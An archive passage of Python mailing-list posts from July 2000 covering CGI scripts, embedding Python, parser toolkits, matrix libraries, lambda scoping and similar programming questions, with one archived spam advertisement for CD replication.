>
>   132 defaults to using Unicode for editing Python source code and the
>interactive window. To stop this, open Pythonwin\pywin\scintilla\view.py,
>find the OnInitialUpdate method and comment out the two lines under "#
>Enable Unicode if we can". Save the file, shut down Pythonwin and restart it
>and see if this fixes the problem.

It fixes the problem for umlauts, but pythonwin.exe still dies with a
access violation (0x05), at adress 0x1e14cd9e, when the ^-key (top left,
just below the esc key) is hit, on the German keyboard layout.


--
Bicycle helmets are the Bach flower remedies of traffic


From bjorn at roguewave.com  Wed Jul  5 21:54:31 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 05 Jul 2000 19:54:31 -0600
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu>
Message-ID: <3963E6D6.F47FA4D8@roguewave.com>

What you're seeing are the symptoms of Python having thrown an exception
and the weblog not capturing all the information. The solution is to make
sure Python can only throw where you can grab the exception and do
something useful with it, like printing it to the browser...  Try the
following (but make sure you can execute it from the command line first --
one possible error is a SyntaxError, which this scheme will not save you
from...)

-- bjorn

#!/usr/bin/env python
print """Content-type: text/html

"""

def main():
    from time import *

    print "<HTML>"
    print "<Head>"
    print "<Title>Hello World</Title>"
    print "</Head>"
    print "<Body>"
    print "<H1>Hello World !</H1>"
    print "<hr>"
    print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"

    print "</Body>"
    print "</HTML>"

import traceback

def execute(fn):
    # make sure any errors are legible, and directed to the user.
    try:
        sys.stderr = sys.stdout
        fn()
    except:
        print '<h1>Something went wrong!!!</h1>'
        print 'Please send the transcript below to webmaster at your.web<p>'
        print '\n\n<pre>'
        traceback.print_exc()

execute(main)



Curtis Jensen wrote:

> We get this error in our server log:
> Wed Jul  5 16:12:52 2000] [error] [client 132.239.236.47] Premature end
> of script headers:
> /usr/local/httpd/cgi-bin/test_jmsun/cont_forms/helloworld.py
>
> The browser gives us this error:
> Internal Server Error
>
> The server encountered an internal error or misconfiguration and was
> unable to complete your request.
>
> Please contact the server administrator, webmaster at bioeng.ucsd.edu and
> inform them of the time the error occurred, and
> anything you might have done that may have caused the error.
>
> More information about this error may be available in the server error
> log.
>
> Apache/1.3.6 Server at cmrg.ucsd.edu Port 80
>
> Using this script from:
> http://www.ping.be/sabine-appelmans/home/python/index.html
>
> #!/usr/local/Python/bin/python
> #
> # helloworld.py
> #
>
> from time import *
>
> print "Content-type: text/html"
> print
>
> print "<HTML>"
>
> print "<Head>"
> print "<Title>Hello World</Title>"
> print "</Head>"
>
> print "<Body>"
> print "<H1>Hello World !</H1>"
> print "<hr>"
>
> print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
>
> print "</Body>"
> print "</HTML>"
>
> Any ideas why?
>
> --
> Curtis Jensen
> cjensen at bioeng.ucsd.edu
> http://www-bioeng.ucsd.edu/~cjensen/
> FAX (425) 740-1451
> --
> http://www.python.org/mailman/listinfo/python-list




From dale at out-think.NOSPAMco.uk  Sat Jul  1 17:25:25 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Sat, 1 Jul 2000 22:25:25 +0100
Subject: Threads?
Message-ID: <8jlnkh$7h$1@supernews.com>

Win32:

Can Python execute a function from the same module in another process?

I might do this, for example, to take advantage of multiple processors.

Thanks

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants





From edream at tds.net  Mon Jul 17 12:46:55 2000
From: edream at tds.net (Edward K. Ream)
Date: Mon, 17 Jul 2000 16:46:55 GMT
Subject: Can't load .pyd files from embedded Python interp
References: <39722B90.A41E02B5@tds.net> <8F73D685Egmcmhypernetcom@199.171.54.194>
Message-ID: <3973384F.D6964D88@tds.net>

Gordon McMillan wrote:

> Most people just use python15.dll from their embedding app so both get the
> same copy. Using Borland probably adds some warts to the process, since
> everybody has to end up using the same c runtime. Your best bet is to look
> for some posts by Gordon Williams, who has instructions on building python
> with Borland.

Gordon, thanks so much for this reply.  This was precisely what I
needed.

There were several factors making it difficult for me to see the
obvious.

1.  I had no idea that python15.dll existed or that it was loaded as
part of the Windows install.  One of Gordon Williams posts on
comp.lang.python mentions that python15.dll is found in
C:\Windows\System

2.  I had previously abandoned the idea of using either python15.dll or
python15.lib with Borland C because some of the "very high level" C
API's use FILE * arguments, which obviously won't work with Borland C. 
But the solution is trivial: just make sure that the code in the
embedding app never calls these functions!

3.  I had no idea that linking python15.dll, rather than python15.lib,
is required when embedding Python in an app.  It is required so that
imported .pyd files can access variables in the Python interpreter.

This illustrates one of the most common failings in documentation:
failing to tell _what_ the reader is to do and _why_.  Much
documentation just jumps in and explains _how_ to do something.  I just
reviewed the Python Extending and Embedding docs.  There is no mention
that one must link against python15.dll, and certainly no hint about
why that is necessary.  One or two sentences in the docs might have
saved me about a week of enjoyable, but useless, work.

I'll write up my experiences when I've successfully embedded Python in
my app.  For now the conclusion seems to be that one only need link in
C:\Windows\System\python15.dll to the app.  There are some details
specific to Borland, but presumably they won't be difficult.

Again, thanks so much for setting me on the right track.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From alex_c at mit.edu  Sun Jul 30 00:59:46 2000
From: alex_c at mit.edu (Alex Coventry)
Date: 30 Jul 2000 00:59:46 -0400
Subject: Newbie question regarding .readline()
References: <jgb7osc2h934jp1njta20tolf0n5lor5k8@4ax.com>
Message-ID: <etdk8e4tdq5.fsf@mint-square.mit.edu>

Try replacing readline with readlines.  The first returns a single
line as a string, the second a list of strings.

Alex.


From GustavsB at ch.sibt.com  Fri Jul 14 07:26:38 2000
From: GustavsB at ch.sibt.com (Bruno Gustavs)
Date: Fri, 14 Jul 2000 13:26:38 +0200
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de>
Message-ID: <8kmtab$4or$1@pollux.ip-plus.net>

"Dinu C. Gherman" <gherman at darwin.in-berlin.de> wrote in message
news:396EE7BC.DA2FA7B3 at darwin.in-berlin.de...
> What do you mean by "language constructs", Python keywords
> like "for" or "class"? Are you expecting some statistics of
> used keywords over one's own code?
>
> I doubt this will be very useful, like the answer to the
> question: "Which are the ten most used words in English?".
> But maybe I'm not understanding well how you think you'll
> benefit from such an answer...

Lets assume you're going to design Phyton2. What would this
language contain? What should Phyton2 support? What would you
like to solve with Phyton2?

Regards
Bruno Gustavs





From JamesL at Lugoj.Com  Sat Jul  8 01:04:01 2000
From: JamesL at Lugoj.Com (James Logajan)
Date: Fri, 07 Jul 2000 22:04:01 -0700
Subject: Making tabs illegal
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be>
Message-ID: <3966B641.F1AB28A2@Lugoj.Com>

Matthew Schinckel wrote:
> 
> On Fri, 7 Jul 2000, Forrest Cahoon wrote:
> 
> > In article <3950C0E2.7532D38 at sightreader.com>,
> >   Ken Seehof <kens at sightreader.com> wrote:
> > > [ ... ]
> > >
> > > As for the space/tab mixing issue, the answer is simple: Make tab an
> > > illegal character in python.  Problem solved.
> > >
> 
> Ugh!  Don't make this the default - I hate having to hit space four times,
> I'd much rather just use tab.

The tab liberation front demands that spaces be made illegal! Spaces are
jealous because tabs often do 3 to 8 times more work than them. We don't
need no stinking lazy spaces!


From tim.hochberg at ieee.org  Wed Jul 26 11:21:14 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 26 Jul 2000 15:21:14 GMT
Subject: linear algebra in pure Python?
References: <397E9CBC.2AD8FA89@crystal.uwa.edu.au>
Message-ID: <m2u2ddrmsi.fsf@spiff.home.com>

Douglas du Boulay <ddb at crystal.uwa.edu.au> writes:

> I know that there is the Numeric python extension and/or the
> Matrix extension MatPy, but is there not anywhere a pure Python
> linear algebra package exploiting lists of lists for  matrices and the
> like?
> (I would like to use eigen analysis etc. with JPython)

Conrad has already pointed you to his fully Python array
package. Another option would be to use JNumeric which is a (more or
less) drop in replacement for Numeric for use with JPython. The
LinearAlgebra package has not, unfortunately, been ported(1), but if
you are only interested in operating on real matrices, there are
several Java packages out there that will perform various linear
algebra operations(2). Interfacing between JNumeric and these outside
package is relatively easy(3).

JNumeric is currently available at http://members.home.net/tim.hochberg/.

-tim

(1) This is because I've been waiting for an appropriate, open source,
package to use as a basis for this. None of the ones I've seen so far
support complex numbers though, so I'm still waiting.

(2) Colt (http://tilde-hoschek.home.cern.ch/~hoschek/colt/index.htm)
is the one I've looked at most recently. You might also want to look
at Nist's JavaNumerics page (http://math.nist.gov/javanumerics/).

(3) Function to convert between JNumeric and Colt type matrics are as
simple as:

rom Numeric import *
from cern.colt.matrix import *
from cern.colt.matrix.impl import *

def JNToColt(ja):
    nAxes = len(ja.shape)
    if nAxes not in (1,2,3):
        raise ValueError, "Colt only supports 1, 2 and 3 dimensional arrays"
    constructor = [DenseDoubleMatrix1D, DenseDoubleMatrix2D,
 		DenseDoubleMatrix3D][nAxes-1]
    return constructor(ja)

def ColtToJn(ca):
    return array(ca.toArray())


From paul at prescod.net  Fri Jul 21 19:28:29 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 18:28:29 -0500
Subject: Dynamic package exploration
References: <3978CDBA.5859E594@rational.com>
Message-ID: <3978DC9D.F858F2A9@prescod.net>

Sebastien Pierre wrote:
> 
> Hi !
> 
>  But if I do :
>   >>eval ( "import os" )
>  It doesn't work...so it prevents me from doing something
> dynamic...Ouch!

You *very seldom* need eval/exec in Python. Maybe this will help:

http://www.python.org/doc/current/lib/built-in-funcs.html

Look at __import__

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From thomas at xs4all.nl  Mon Jul  3 08:03:16 2000
From: thomas at xs4all.nl (Thomas Wouters)
Date: 3 Jul 2000 12:03:16 GMT
Subject: Python CGI security
References: <Pine.GSO.4.10.10007031350130.22346-100000@sundial> <39607A22.CA190D70@stroeder.com>
Message-ID: <slrn8m107e.m5d.thomas@centurion.xs4all.nl>

On Mon, 03 Jul 2000 13:33:54 +0200, Michael Str?der <michael at stroeder.com>
wrote:
>Moshe Zadka wrote:

>> There are a few types of "potential security holes":
>> 
>>  -- exposing insecure parts of the API, such as os.system(). These should
>>     stay, since the user should have those at his disposale

>Would it be possible to provide a secure version in the Python lib
>of e.g. os.system() with same function parameters but less unsecure
>behaviour instead of just wrapping it 1:1?

How could os.system() be more secure ? The way it is defined leaves no room
for restriction. (It calls a shell to interpret the string passed in, after
all.)

What Python does do, is provide more convenient variants of os.exec*(), in
the form of os.spawn*(). (At least, in Python 2.0) Also, writing your own
'secure' system() in terms of fork() and exec*() is fairly easy.

Your-code-is-as-secure-as-you-make-it-ly y'rs,
	Thomas.



From thomas at xs4all.net  Mon Jul 17 04:46:27 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Mon, 17 Jul 2000 10:46:27 +0200
Subject: Wishlist sumbission form?
In-Reply-To: <39727EFB.77234AEA@prescod.net>; from paul@prescod.net on Sun, Jul 16, 2000 at 10:35:23PM -0500
References: <eWuc5.40515$MT.1447099@news-west.usenetserver.com> <39727EFB.77234AEA@prescod.net>
Message-ID: <20000717104627.G7340@xs4all.nl>

On Sun, Jul 16, 2000 at 10:35:23PM -0500, Paul Prescod wrote:
> Matthew Cline wrote:

> > Is there any way of submitting feature requests for Python,
> > other than by filing a bug report?

> I don't think so. If it is a very targeted request, you could try the
> but report route.

Actually, the buglist (Jitterbug, on www.python.org) as a 'Requests'
section for feature requests. It gets looked at every now and then, too.

> If it is large and arguable, you should probably post it here and get some
> people to support it. If its good, someone will implement it. In open
> source software, only the features that developers are interested in get
> implemented so a wish list might well get ignored anyhow. It's not that
> nobody cares what you think it's that there's an infinite list of wishes
> so people tend to attack them in the order in order of personal interest
> or widespread demand.

Actually, I have no problem with implementing features which I think are
good features, even though I would never use them. Or features that *might*
be good. As long as I can test it (ie, they run on Linux or BSDI without
dependencies on weird hardware or non-free software) I don't have much
trouble with implementing it.

But that's just me ;) Of course, if you know a little C, the Python source
is incredibly easy to understand and extend. And a great tool for learning
C, as well.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From paul at prescod.net  Mon Jul 17 17:46:59 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 16:46:59 -0500
Subject: Parser project
References: <397361C5.1D401DF2@prescod.net> <slrn8n6rs3.sf.hzhu@rocket.knowledgetrack.com>
Message-ID: <39737ED3.5A1CBB66@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> 
> This is a good idea, although MatPy could not wait for it to happen, and I
> do not foresee much additional syntax being requested. For the current
> matrix issue, a limited parser might be easier and more useful.

Not as much easier as you think. And anyhow, my proposal was to make a
module useful to Python programmers from a variety of domains. That
seems more likely than the infix operators which are not going to be as
widely popular. For instance, someone wanting to experiment with list
comprehensions or embedded SQL could do so.

> I'm not sure if it can be made as easy as
> 
> import NewOperator
> NewOperator.define(".+", "__dotadd__")
> class A: def __dotadd__(self, other) ...
> a=A(); b=A()
> a.+b
> NewOperator.define("compares", "__cmp__")
>  ------> Exception: "compares" contains characters not allowed in operator.

No, it can't be made that easy using traditional parser/compiler
techniques. Using non-standard techniques, yes it could be but I'm not
sure if someone out there is interested enough to do it.

If you want to get started quickly, I would suggest you download all of
the Python parser toolkits and look for those that have Python
lexers/parsers built in. Choose one and use it. You may already be 80%
of the way there. You might want to ask around for help in the compiler
sig mailing list:

http://www.python.org/sigs/compiler-sig/

Here is a list of parsing tools I collected once:

<slide><title>PyLR</title>
<points>
<point>For efficient <a
href="http://starship.skyport.net/crew/scott/PyLR.html">parsers</a> in
python</point>
<point>Includes lexer and parser</point>
<point>Supports LR(1) and LALR(1)</point>
<point>By Scott Cotton</point>
</points>
</slide>

<slide><title>PyLR example</title>
<points>
<pre>expression: expression 
		PLUS term (addfunc) 
		| term;
term: term 
	TIMES factor (timesfunc) 
	| factor;
factor: LPAREN expression RPAREN (parenfunc) 
	| INT;
</pre>
</points>
</slide>

<slide><title>kwParsing</title>
<points>
<point><a href="http://www.chordate.com/kwParsing/">by Aaron
Watters</a></point>
<!-- More here -->
<pre>
GRAMMARSTRING ="""
Value ::
 @R SetqRule :: Value >> ( setq var Value )
 @R ListRule :: Value >> ( ListTail
 @R TailFull :: ListTail >> Value ListTail
 @R TailEmpty :: ListTail >> )
 @R Varrule :: Value >> var
 @R Intrule :: Value >> int
 @R Strrule :: Value >> str
 @R PrintRule :: Value >> ( print Value )
"""
</pre>
</points>
</slide>

<slide><title>Simpleparse</title>
<points>
<point>Built on top of <a
href="http://starship.skyport.net/~lemburg/mxTextTools.html">mxTextTools</a></point>
<point>Generates tables that drive mxTextTools</point>
<point>Reputed to be very fast</point>
<point>by <a
href="http://members.home.net/mcfletch/programming/simpleparse/simpleparse.html">Michael
Fletcher</a></point>
<point>Gentle introduction to more complex mxTextTools package</point>
</points>
</slide>

<slide><title>Simpleparse example</title>
<pre>
file := [ \t\n]*, section+
section := '[',identifier,']', ts,'\n', body
body := statement*
statement := (ts,';',comment,'\n')/equality/nullline
nullline := ts,'\n'
ts := [ \t]*

...
</pre>
</slide>

<slide><title>YAPPS</title>
<points>
<point>Yet Another Python Parser <a
href="http://theory.stanford.edu/~amitp/Yapps/yapps-doc/yapps-doc.html">system</a>.</point>
<point>Simple, easy to use</point>
<point>Generates human-readable parsers</point>
<point>Recursive descent</point>
<point>Not as fast, powerful or flexible as others</point>
<point>Supports LL(1)</point>
</points>
</slide>

<slide><title>Spark</title>
<point><a href="http://www.csr.uvic.ca/~aycock/python/">Scanning,
Parsing, and Rewriting Kit</a></point>
<point>John Aycock</point>
<point>Very powerful, easy, slow</point>
<pre>
def p_ifelse_stmt(self, args):
'''
stmt ::= 
  IF expr 
  THEN stmt 
  ELSE stmt
'''
    somePythonCode()
</pre>
</slide>

</div>
</slides>
</slideshow>

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From akuchlin at mems-exchange.org  Sat Jul 22 09:41:17 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 22 Jul 2000 09:41:17 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <3hitu4wiq9.fsf@angband.org> <3975C0FA.3A45B105@eecis.udel.edu> <3975D208.2E297375@prescod.net> <3975E3B3.E910A668@eecis.udel.edu> <20000719214128.H9897@xs4all.nl>
Message-ID: <3dk8eexoxu.fsf@kronos.cnri.reston.va.us>

Thomas Wouters <thomas at xs4all.net> writes:
> Any idea why are += and friends still not implemented, after 5+ years of
> Python development ? Guido and Tim both claim they wanted it years ago. Yet

Probably because it posed some language design problems.  When 'obj'
is some object, obj += 5 needs to call some method.  What if you have
code like: 'a=1 ; a += obj'; is it an error?  Do you call a separate
__r_addinplace__ method?  Does 'a' transmogrify from an regular int to
an object just from a +=?  Will users expect this?

--amk


From jkraska1 at san.rr.com  Sat Jul 29 04:23:45 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sat, 29 Jul 2000 08:23:45 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com>
Message-ID: <39829548.BF4E780E@san.rr.com>

shochet at my-deja.com wrote:
> 
> I am currently in the middle of hooking up a large external C++ library by
> maintaining a database of C++ function pointers that I will call from Python.
> If anybody has tried this before, my question is: Is there a good way to call
> these function pointers without having to wrap every single one in a Python-C
> module?

I know windows has something like dlsym or some such, right?




C/


From robin at jessikat.fsnet.co.uk  Thu Jul 20 03:19:31 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 08:19:31 +0100
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
 <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net>
 <397684EB.3E0C5D88@my.signature>
Message-ID: <Vn2+ajADgqd5EwVl@jessikat.fsnet.co.uk>

In article <397684EB.3E0C5D88 at my.signature>, Greg Ewing
<see at my.signature> writes
>   .,
>

this looks awful to me, what happened to our leader's preference for
minimalism.
-- 
Robin Becker


From sdm7g at virginia.edu  Thu Jul 20 16:01:50 2000
From: sdm7g at virginia.edu (Steven D. Majewski)
Date: Thu, 20 Jul 2000 16:01:50 -0400 (EDT)
Subject: Python in game development?
In-Reply-To: <8l7f69$bon$1@fermi.tro.net>
Message-ID: <Pine.A32.3.90.1000720150347.16727B-100000@elvis.med.Virginia.EDU>

On Thu, 20 Jul 2000, Moritz Voss wrote:

> Now, my own language would be an assembler-style thing. The concept is as
> follows - every instruction corresponds to an index. Each of these indices,
> after compilation, are then translated, during runtime, into direct function
> addresses. So what I have is my program that consists of a huge bunch
> pointers to C functions (which can have any level of complexity). These
> would just be loaded, and called, loaded, and called. I'm not going into the
> depths of this here but passing parameters and references is not a problem.

If that's your ideal, then look at FORTH. 
The inner interpreter or VM is just a small loop that executes threaded
code. It can be direct-threaded  (i.e. pointers) but usually indirect 
or token threaded is more portable. However, FORTH is really like a 
high-level typeless interactive assembler: it's good as an implementation
language but it's not great as an end-user extension language: game users 
could crash the game and the computer with pointer bugs. Something like
Python provides more insulation: scripting level bugs shouldn't be able
to crash the interpreter, not to mention the game or the computer. 



> > > Thanks :) So designing my own scripting language is easier.
> >
> > That's of course not true; designing your own scripting language will
> > most likely result in an ad-hoc broken design. 

Read John Ousterhout's original paper on Tcl (on whatever name/URL Scriptics 
is currently going by ;-) which does a good job of describing the motivation
of embedded scripting languages. Typically, folks don't start off trying
to design a language, they just want to add "language features" to an 
application, and so they end up doing a half-assed job of it. ( We won't 
get into the fact that a few folks think that tcl itself is a good example 
of the syndrome John describes! ;-) 




> [ Other stuff deleted ... ] 


Take a look at Alice -- it's not a game, it's a virtual reality scripting
environment, but it's not a bad example of the sort of system you're 
describing: Python isn't used to power the low level graphics engine, but
to write interaction rules for the objects in the VR world. 

( Before Randy Pausch moved to CMU, I used to take my kids to Alice demo
 days here at UVA where they could don helmets and gloves and fight with
 VR light sabers or walk thru a Doom-like dungeon. ) 


> Maybe I don't get the python concept. Do you link it statically? Or is the
> interpreter *.exe invoked every time?

> I'll play around with python, but I found the way to embed it totally
> confusing. (That is, of course, because I have never worked with embedded
> languages yet). Also, I find no tutorial that clearly tells me how to change
> my C variable "X" from within my Python program "Y" that is invoked by the C
> Program.

You wrap lower level elements of your game in the Python API to make them
into Python callable objects and functions. The you can either write the
top-level in Python, or embed the interpreter (statically or as a shared
library) in your application, and make calls to the interpreter at 
appropriate times.  It's usually this second style that confuses people,
as it mixes the hierarchy up a bit: C calling Python calling C calling 
Python...  However, the same mixing goes on in the interpreter itself, 
which is one of the reasons folks bring up terms like "stackless" and 
"microthreads" in this discussion. 

---|  Steven D. Majewski   (804-982-0831)  <sdm7g at Virginia.EDU>  |---
---|  Department of Molecular Physiology and Biological Physics  |---
---|  University of Virginia             Health Sciences Center  |---
---|  P.O. Box 10011            Charlottesville, VA  22906-0011  |---

"There's a new programming language called C+++. It's 50% better than C++, 
         but every time you compile, your modem hangs up."





From cut_me_out at hotmail.com  Wed Jul 12 10:58:39 2000
From: cut_me_out at hotmail.com (Alex)
Date: 12 Jul 2000 10:58:39 -0400
Subject: Why are some infinite recursion stack overflows hard to deal  with?
References: <Pine.GSO.4.10.10007121752190.15424-100000@sundial>
Message-ID: <etdlmz7tmxs.fsf@w20-575-115.mit.edu>

> Python has a hack to try to deal with that: it checks bounds on the
> recursion itself. However, Python's guess is a bit off on windows.

It seems to be a bit off on Linux, too.  That's where I'm getting the
segfault.

Alex.


From aek at aek.dk.bbs  Sun Jul 16 17:10:14 2000
From: aek at aek.dk.bbs (aek at aek.dk.bbs)
Date: 16 Jul 2000 21:10:14 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQa3c$j9u@openbazaar.net>

> > ill take a look at it, although my guess is that I will stick with
> > Ultra Edit until I get around to making my own editor
>=20
> If we all combined our efforts on "Boa Constructor", "wxDesigner" and
> "PythonWin", we may just already have everything we need to kick every =
other
> language's or IDE's rear-end... : )  Do you have an URL for Ultra =
Edit?
> You've sparked my curiosity..
www.ultraedit.com should do make sure you look udner downloads, =
wordfiles
there is one for Python too, but it is only keyword coloring - it is far =
from perfect...
but I find it nice to work with, one of the main things is the tab pane =
- I often work=20
with 10-15 files, and for that a tabpane is a must...

> > > > it is said the man who knew the language inside out :-)
> > > I'm sorry, I don't follow...
> > I was just showing off :-)
> > saying yes var is the way you do it, when you do it in
> > JavaScript/JScript, and at the same time saying that
> > I know JScript inside out
>=20
> Ah, I think I could have used a little comma after "it is", as in
>=20
> "It is", said the man who knew the language inside out.
>=20
> rather than my interpretation:
>=20
> It is said that the man knew the language inside out.
>=20
> ...a little different, isn't it?  : )
sorry :-)
I sometimes forget to think about punktuation


> > yes the 125 wasn't much fun - I haven't looked at 132 yet,
> > I have been busy developing a major online consumer database in
> > ASP/Jscript, I actually considdered using Python but I couldn't
> > figure out how to set the values Session and Application Objects...
>=20
> I also thought 125 wasn't too good, but that's because I thought I had
> grabbed the latest version...  132 is a big improvement, you really =
should
> try it!
I will one of the comming days


> > aye one thing only - and of course I know the question, isn't
> > that what we earthlings are here for? ;-)
>=20
> Yeah, but our planet was destroyed five minutes before the =
"computation" was
> complete.
thats what they think... you must remember they expected to hear the =
ansewer from
the dolphins, but what they had not expected is that a single human =
being would figure
it out long before the dolphins, and be unable to communicate with the =
dolphins...


--=20
Anders Eggers - Krag


From aahz at netcom.com  Wed Jul 19 21:47:26 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 20 Jul 2000 01:47:26 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local> <3976371F.210C2C21@uab.edu>
Message-ID: <8l5lne$lb$1@slb0.atl.mindspring.net>

In article <3976371F.210C2C21 at uab.edu>, Shae Erisson  <shapr at uab.edu> wrote:
>
>I already have a function that does this in my handy shaetools module,
>for me it will always be interleave.

Oh, *that's* a good one.  All right, anyone else agree that "interleave"
is the best suggestion we've had so far?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From erno at iki.fi  Fri Jul 14 14:46:39 2000
From: erno at iki.fi (Erno Kuusela)
Date: 14 Jul 2000 21:46:39 +0300
Subject: Simple File I/O Question
References: <396DF13A.97CC3F5E@bioeng.ucsd.edu>
Message-ID: <kusntcwnw0.fsf@lasipalatsi.fi>

>>>>> "Curtis" == Curtis Jensen <cjensen at bioeng.ucsd.edu> writes:

    Curtis> So, How do I write an int variable to a file?  Thanks.

you can only write strings into files. you could convert
your integer object into a string, but then you could not
tell the difference between and a string when you read it back.
it might be ok for you, or it might not.

if you want more perfect saving of objects into files, you can
use the cPickle module to serialize them into string form,
and back again. it can handle almost any kind of object, including
most of python's built-in types and instances of python classes.
see the cPickle documentation for more information on this.

   -- erno



From dgoodger at bigfoot.com  Mon Jul  3 10:17:07 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Mon, 03 Jul 2000 10:17:07 -0400
Subject: lambda requirements
In-Reply-To: <000101bfe4ec$010e1c60$a5dfdfdf@ors-x-wt1.or_soft.de>
References: <000101bfe4ec$010e1c60$a5dfdfdf@ors-x-wt1.or_soft.de>
Message-ID: <B58618A2.5C13%dgoodger@bigfoot.com>

Lambda expressions don't have access to the local namespace. Declaring
_list2 as global gets around this problem, but in an "unclean" way (note
that _list1 doesn't need to be global, as it's not accessed inside the
lambda). A cleaner way to implement the lambda (without globals, or
"_"-prefixed local variables) is as follows:

    _onlylist1 = filter(lambda x, l=list2: x not in l, list1)

"l" is bound to "list2" when the lambda expression is evaluated (when the
local namespace *is* accessible), which carries through to when the
resulting anonymous function is executed by filter (when
SymmetricDifference's local namespace is *not* accessible).

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)


on 2000-07-03 08:41, Wolfgang Thaemelt (wolfgang.thaemelt at orsoft.de) wrote:
> Running the script:
> 
> #----------------------------------------- begin of script
> def SymmetricDifference(list1, list2):
> # global _list1
> # global _list2
> 
>   _list1 = list1
>   _list2 = list2
> 
>   _onlylist1 = filter(lambda x: x not in _list2, _list1)
> 
>   return _onlylist1
> 
> if __name__ == '__main__':
>   a = [1,2,3,4,5]
>   b = [3,4,5,6,7]
>   x = SymmetricDifference(a,b)
> 
>   print x
> #---------------------------------------- end of script
> 
> gives the error:
> 
> Traceback (innermost last):
> File "E:\up\000701\symmdiff.py", line 16, in ?
> x = SymmetricDifference(a,b)
> File "E:\up\000701\symmdiff.py", line 9, in SymmetricDifference
> _onlylist1 = filter(lambda x: x not in _list2, _list1)
> File "E:\up\000701\symmdiff.py", line 9, in <lambda>
> _onlylist1 = filter(lambda x: x not in _list2, _list1)
> NameError: _list2
> 
> If the comment characters "#"  are removed from the "global" statements
> everything works fine.
> 
> Is there some requirement on a lambda violated in the script?



From sales at chinaeast.com.hk  Mon Jul 17 01:15:16 2000
From: sales at chinaeast.com.hk (Sales)
Date: Mon, 17 Jul 2000 07:15:16 +0200 (MET DST)
Subject: (no subject)
Message-ID: <419.436724.52105150sales@chinaeast.com.hk>

It is an honor to introduce our company, China East Technology Ltd (CET).  We have been 
established for about half decade with all facilities located in Hong Kong.  We are the 
manufacturer for the replication of CD-Audio, CD-ROM, Super VCD, Video CD, Business 
Card CD (50-60MB) , Irregular Shape CD.  

To give our clients 100% satisfaction is always the goal of us.  At each stage of the production, 
we track our quality with high precision inspection equipment and well-trained inspectors.  
Apart from the quality assurance, the high level of security for the CD production is also our 
concern to which the fully viewed security systems equipped in our plant.  Moreover, to show 
our commitment in anti-piracy of copyright, we have already joined with international 
recognition IFPI coding system from Philips and have the licence for the manufacturing of 
optical disc by Hong Kong Customs and Excise Department (Licence No. ODML 016).

We commit to provide our best quality services: - processing from your master media to having 
up to 5 colors silk screen printing discs and packed by standard packing or special design.

Should you have any questions, please feel free to contact with us either by phone (852) 
2898-1082,  fax (852) 298-1262 or email sales at chinaeast.com.hk.  We anticipate to look 
forward to serve you in the nearest future.


To cancel this mailing service, reply and type "remove" in the subject field.



This message is sent in compliance of the new email
bill section 301. Under Bill S. 1618 TITLE III passed 
by the 105th US Congress. This message cannot be
Considered Spam as long as we include the way to be
removed, Paragraph (a)(c) of S. 1618, further
transmissions to you by the sender of this email may
be stopped at no cost to you by Click Here
with REMOVE in the subject




From paul at prescod.net  Tue Jul 11 20:48:04 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 11 Jul 2000 19:48:04 -0500
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
